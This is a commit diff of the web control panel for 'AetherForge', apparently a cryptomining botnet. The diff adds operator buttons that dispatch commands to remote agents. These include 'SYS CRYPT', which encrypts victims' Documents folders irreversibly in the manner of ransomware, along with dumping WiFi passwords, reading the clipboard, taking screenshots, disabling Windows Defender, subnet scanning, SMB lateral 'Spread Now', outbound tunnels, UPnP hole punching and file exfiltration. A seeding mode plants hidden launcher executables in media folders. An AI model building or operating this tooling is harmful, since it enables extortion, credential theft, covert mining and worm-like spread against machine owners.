feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
AetherForge
2026-06-03 20:32:59 -07:00
parent 03937edba7
commit d52479c9a6
139 changed files with 10611 additions and 369 deletions

View File

@@ -10,6 +10,10 @@ import { formatHashrate } from '../help/fleetFilters';
import { primaryGroupForAgent } from '../help/fleetGroups';
import { useFleetGroups } from '../hooks/useFleetGroups';
import { useMatrixRain } from '../context/MatrixRainContext';
import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import '../components/Fleet/FullSysCheckPanel.css';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
@@ -71,7 +75,17 @@ interface RichPostureSummary {
services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>;
}
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary;
interface RichScreenshot {
type: 'screenshot';
b64: string;
}
interface RichFullSysCheck {
type: 'full_sys_check';
report: FullSysCheckReport;
}
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck;
// ── Helpers ────────────────────────────────────────────────────────────────
@@ -312,6 +326,14 @@ export default function CruciblePage() {
const [seekWin, setSeekWin] = useState(true);
const [seekMac, setSeekMac] = useState(true);
// File ops state
const [uploadPath, setUploadPath] = useState('');
const [downloadPath, setDownloadPath] = useState('');
const [uploadFileRef] = useState(() => ({ current: null as HTMLInputElement | null }));
// Tunnel URL state
const [tunnelURL, setTunnelURL] = useState('');
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
@@ -372,6 +394,12 @@ export default function CruciblePage() {
// ── Parse structured JSON for known actions ────────────────────────
let richData: RichTermData | undefined;
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
if (r.action === 'screenshot' && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim())) {
richData = { type: 'screenshot', b64: msg.trim() };
}
const jsonStart = msg.indexOf('{');
if (jsonStart >= 0) {
@@ -382,6 +410,8 @@ export default function CruciblePage() {
richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length };
} else if (r.action === 'patch_status') {
richData = { type: 'patch_status', ...parsed };
} else if (r.action === 'full_sys_check' && parsed.generated_at) {
richData = { type: 'full_sys_check', report: parsed as FullSysCheckReport };
} else if (r.action === 'posture' && typeof parsed.posture_score === 'number') {
richData = { type: 'posture', ...parsed };
// Update badge state
@@ -777,10 +807,24 @@ export default function CruciblePage() {
</div>
);
const renderRichData = (d: RichTermData) => {
const renderRichData = (d: RichTermData, lineAgentName?: string) => {
if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
if (d.type === 'full_sys_check') {
return <FullSysCheckPanel report={d.report} agentName={lineAgentName ?? 'agent'} />;
}
if (d.type === 'screenshot') return (
<div style={{ marginTop: '0.4rem' }}>
<img
src={`data:image/png;base64,${d.b64}`}
alt="screenshot"
style={{ maxWidth: '100%', maxHeight: 340, borderRadius: 4, border: '1px solid #333', cursor: 'pointer' }}
onClick={() => window.open(`data:image/png;base64,${d.b64}`, '_blank')}
title="Click to open full size"
/>
</div>
);
return null;
};
@@ -1055,7 +1099,7 @@ export default function CruciblePage() {
<div className="crucible-ops">
{/* ── Posture ──────────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-recon">
<span className="cop-label">Posture &amp; Recon</span>
<button
className="button crucible-op-btn crucible-op-scan"
@@ -1080,7 +1124,7 @@ export default function CruciblePage() {
</div>
{/* ── SSH ──────────────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-ssh">
<span className="cop-label">SSH</span>
<button
className="button crucible-op-btn"
@@ -1101,19 +1145,49 @@ export default function CruciblePage() {
</div>
{/* ── Mining ───────────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-mining">
<span className="cop-label">Mining</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))}
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'resume').then((r) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `resume → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
}]);
}).catch((err) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
text: `[ERROR] resume: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false,
}]);
});
}}
>
Resume
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))}
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'pause').then((r) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `pause → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
}]);
}).catch((err) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
text: `[ERROR] pause: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false,
}]);
});
}}
>
Pause
</button>
@@ -1135,11 +1209,54 @@ export default function CruciblePage() {
</button>
</div>
{/* ── Sys Crypt ────────────────────────────────── */}
<div className="crucible-op-group cop-destructive">
<span className="cop-label"> Destructive</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="AES-256-GCM encrypt every file in the target's Documents folder (Windows only, requires Remote Aggressive Ops)"
style={{
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
border: '1px solid #ff2222',
color: '#fff',
fontWeight: 700,
letterSpacing: '0.06em',
}}
onClick={() => {
if (!confirm(`SYS CRYPT — encrypt Documents on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
Promise.all(
selectedAgents.filter(online).map((a) =>
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] sys_crypt: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
},
]);
})
)
);
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: 'local', agentName: 'YOU',
isCmd: true,
text: `SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents`,
ts: new Date(),
},
]);
}}
>
🔒 SYS CRYPT ({selectedIds.size})
</button>
</div>
{/* ── SUPP Seek Mode ───────────────────────────── */}
<div className="crucible-op-group crucible-seek-group">
<span className="cop-label" style={{ color: 'var(--neon-amber)', letterSpacing: '0.1em' }}>
SUPP SEEK MODE
</span>
<div className="crucible-op-group cop-seek crucible-seek-group">
<span className="cop-label"> SUPP Seek Mode</span>
<p style={{ margin: '0.25rem 0 0.5rem', fontSize: '0.72rem', color: '#aaa', lineHeight: 1.4 }}>
Recursively seeds every media directory under the given path with
silent launcher files. The agent copies itself as a hidden exe (Windows)
@@ -1209,8 +1326,353 @@ export default function CruciblePage() {
</p>
</div>
{/* ── Recon ────────────────────────────────────── */}
<div className="crucible-op-group cop-recon">
<span className="cop-label">Recon</span>
<button
className="button crucible-op-btn"
style={{ borderColor: 'rgba(0,245,255,0.5)' }}
disabled={selectedIds.size === 0}
title="Deep audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners (3060s)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, 'full_sys_check').catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] full_sys_check: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `full_sys_check → ${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
Full Sys Check
</button>
{(['screenshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
<button
key={cmd}
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title={{
screenshot: 'Capture the desktop screenshot',
clipboard: 'Read the current clipboard contents',
wifi: 'Dump all saved WiFi passwords',
software: 'List installed programs',
ps: 'Running process list (tasklist)',
netstat: 'Active TCP/UDP connections',
sysinfo: 'Full system info (OS, CPU, RAM, uptime)',
users: 'Local user accounts + whoami /all',
}[cmd]}
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, cmd).catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `${cmd}${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
{cmd}
</button>
))}
</div>
{/* ── Agent Control ─────────────────────────────── */}
<div className="crucible-op-group cop-agent">
<span className="cop-label">Agent</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Restart the agent process"
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'restart').then((r) => {
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `restart → sent:${r.sent} failed:${r.failed}`, ts: new Date() }]);
}).catch(() => null);
}}
>
Restart
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Pull the last 300 lines of the agent log"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'get_log', { tail_lines: 300 }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `get_log → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Get Log
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Kill the agent process (it will restart via watchdog/persistence)"
style={{ color: '#ff8c00' }}
onClick={() => {
if (!confirm(`Kill agent process on ${selectedIds.size} node(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'stop').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `kill → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Kill
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Fully uninstall: remove persistence, delete files, exit"
style={{ color: '#ff4444' }}
onClick={() => {
if (!confirm(`UNINSTALL from ${selectedIds.size} node(s)? This removes persistence and deletes all agent files.`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'uninstall').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `uninstall → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Uninstall
</button>
</div>
{/* ── System Power ──────────────────────────────── */}
<div className="crucible-op-group cop-sys">
<span className="cop-label">System</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="OS reboot"
onClick={() => {
if (!confirm(`Reboot ${selectedIds.size} machine(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'reboot_machine').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `reboot_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Reboot
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="OS shutdown (power off)"
style={{ color: '#ff4444' }}
onClick={() => {
if (!confirm(`Shutdown ${selectedIds.size} machine(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'shutdown_machine').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `shutdown_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Shutdown
</button>
</div>
{/* ── Aggressive Ops ───────────────────────────── */}
<div className="crucible-op-group cop-agg">
<span className="cop-label">Aggressive Ops</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Dump all saved WiFi network credentials from selected Windows nodes"
style={{ borderColor: '#ff6b35', color: '#ff6b35' }}
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, 'get_wifi_passwords').catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] get_wifi_passwords: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `get_wifi_passwords → ${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
📶 WiFi Passwords
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Disable Windows Defender real-time monitoring (requires admin)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'defender_off').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `defender_off → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Defender Off
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Scan local subnet for reachable hosts (up to 64)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'subnet_scan').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `subnet_scan → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Subnet Scan
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Force one lateral-spread attempt via SMB/shares"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'spread_now').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `spread_now → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Spread Now
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Open outbound Cloudflare tunnel (agent dials out — no inbound port required)"
onClick={() => {
const url = tunnelURL.trim() || '';
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'start_tunnel', { command: url }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `start_tunnel → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
}}
>
Start Tunnel
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="UPnP hole punch: map external port 8989 → agent's LAN port 8989"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'hole_punch').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `hole_punch → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Hole Punch
</button>
</div>
{/* ── File Ops ─────────────────────────────────── */}
<div className="crucible-op-group cop-fileops">
<span className="cop-label">File Ops</span>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem', flexWrap: 'wrap' }}>
<label
className="button crucible-op-btn"
style={{ cursor: selectedIds.size === 0 ? 'not-allowed' : 'pointer', opacity: selectedIds.size === 0 ? 0.5 : 1 }}
title="Push a local file to each selected agent's Desktop (Windows / macOS / Linux)"
>
Desktop
<input
type="file"
style={{ display: 'none' }}
disabled={selectedIds.size === 0}
onChange={async (e) => {
const file = e.target.files?.[0];
if (!file) return;
const targets = selectedAgents.filter(online);
try {
for (const a of targets) {
await pushFileToAgentDesktop(
(action, args) => api.sendAgentCommand(a.id, action, args),
file
);
}
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd: true,
text: `push_desktop ${file.name}${targets.length} node(s)`,
ts: new Date(),
},
]);
} catch (err) {
alert(err instanceof Error ? err.message : String(err));
}
e.target.value = '';
}}
/>
</label>
<span className="form-hint" style={{ fontSize: '0.72rem', opacity: 0.75 }}>
{desktopPathHint(selectedAgents.find((a) => selectedIds.has(a.id))?.platform)}
</span>
</div>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem' }}>
<input
type="text"
placeholder="Remote path (or @desktop/file.txt)"
value={downloadPath}
onChange={(e) => setDownloadPath(e.target.value)}
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
/>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0 || !downloadPath.trim()}
title="Download a file from the agent (result is base64 in terminal)"
onClick={() => {
const p = downloadPath.trim();
selectedAgents.filter(online).forEach((a) =>
api.sendAgentCommand(a.id, 'download', { path: p }).catch((err) =>
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] download: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
)
);
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `download ← ${p}`, ts: new Date() }]);
}}
>
Pull
</button>
</div>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center' }}>
<input
type="text"
placeholder="Path or @desktop/filename"
value={uploadPath}
onChange={(e) => setUploadPath(e.target.value)}
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
/>
<label
className="button crucible-op-btn"
style={{ cursor: 'pointer' }}
title="Upload to custom path, or leave blank and use ↑ Desktop"
>
Push path
<input
type="file"
style={{ display: 'none' }}
ref={(el) => { uploadFileRef.current = el; }}
onChange={async (e) => {
const file = e.target.files?.[0];
if (!file) return;
const p = uploadPath.trim() || `@desktop/${file.name}`;
try {
const { readFileAsBase64 } = await import('../help/desktopPush');
const b64 = await readFileAsBase64(file);
selectedAgents.filter(online).forEach((a) =>
api.sendAgentCommand(a.id, 'upload', { path: p, data: b64 }).catch((err) =>
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] upload: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
)
);
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `upload ${file.name}${p} on ${selectedIds.size} node(s)`, ts: new Date() }]);
} catch (err) {
alert(err instanceof Error ? err.message : String(err));
}
if (uploadFileRef.current) uploadFileRef.current.value = '';
}}
/>
</label>
</div>
</div>
{/* ── Shell type ───────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-shell">
<span className="cop-label">Shell Mode</span>
<div className="crucible-shell-tabs">
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
@@ -1286,7 +1748,7 @@ export default function CruciblePage() {
{line.isCmd ? '▶' : '◀'}
</span>
{line.richData ? (
<span className="ctl-text ctl-rich">{renderRichData(line.richData)}</span>
<span className="ctl-text ctl-rich">{renderRichData(line.richData, line.agentName)}</span>
) : (
<span className="ctl-text">{line.text}</span>
)}